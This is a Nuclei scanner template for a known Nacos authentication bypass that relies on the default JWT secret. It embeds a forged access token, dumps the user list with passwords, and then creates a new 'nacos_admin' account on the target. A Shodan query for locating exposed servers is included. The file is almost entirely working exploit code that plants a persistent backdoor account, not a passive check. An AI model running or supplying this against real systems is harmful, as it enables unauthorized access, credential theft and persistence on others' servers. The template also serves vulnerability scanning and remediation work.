nacos-bypass-authentication.yaml

id: nacos-authentication-bypass-add-user

info:
  name: Nacos < 2.2.0 - Authentication Bypass
  author: Esonhugh-self-maintained
  severity: critical
  description: |
    The authentication function of Nacos is can be bypass through default JWT secret.
    SecertKey: SecretKey012345678901234567890123456789012345678901234567890123456789
    Need base64 encode
  reference:
    - https://github.com/alibaba/nacos/issues/10060
    - https://avd.aliyun.com/detail?id=AVD-2023-1655789
    - https://nacos.io/zh-cn/docs/auth.html
  remediation: Change value of jwt secret in the configurations
  metadata:
    verified: "true"
    shodan-query: title:"Nacos"
  tags: auth-bypass,nacos,misconfig,jwt

variables:
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g

stop-at-first-match: true
requests:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"username":'
          - '"password":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: extracted-credentials
        json:
          - ".pageItems[]"

  - method: POST
    path:
      - "{{BaseURL}}/nacos/v1/auth/users"
      - "{{BaseURL}}/v1/auth/users"
    headers:
      Content-Type: application/x-www-form-urlencoded
      accessToken: "{{token}}"
    body: "username=nacos_admin&password={{randstr_2}}"
    matchers-condition: and
    stop-at-first-match: true
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"code":'
          - "200"
          - '"data":'
          - '"create user ok!"'
        condition: and
      - type: word
        part: header
        words:
          - "application/json"
    extractors:
      - type: json
        part: body
        json:
          - ".message"
        name: Create user nacos_admin/{{randstr_2}}
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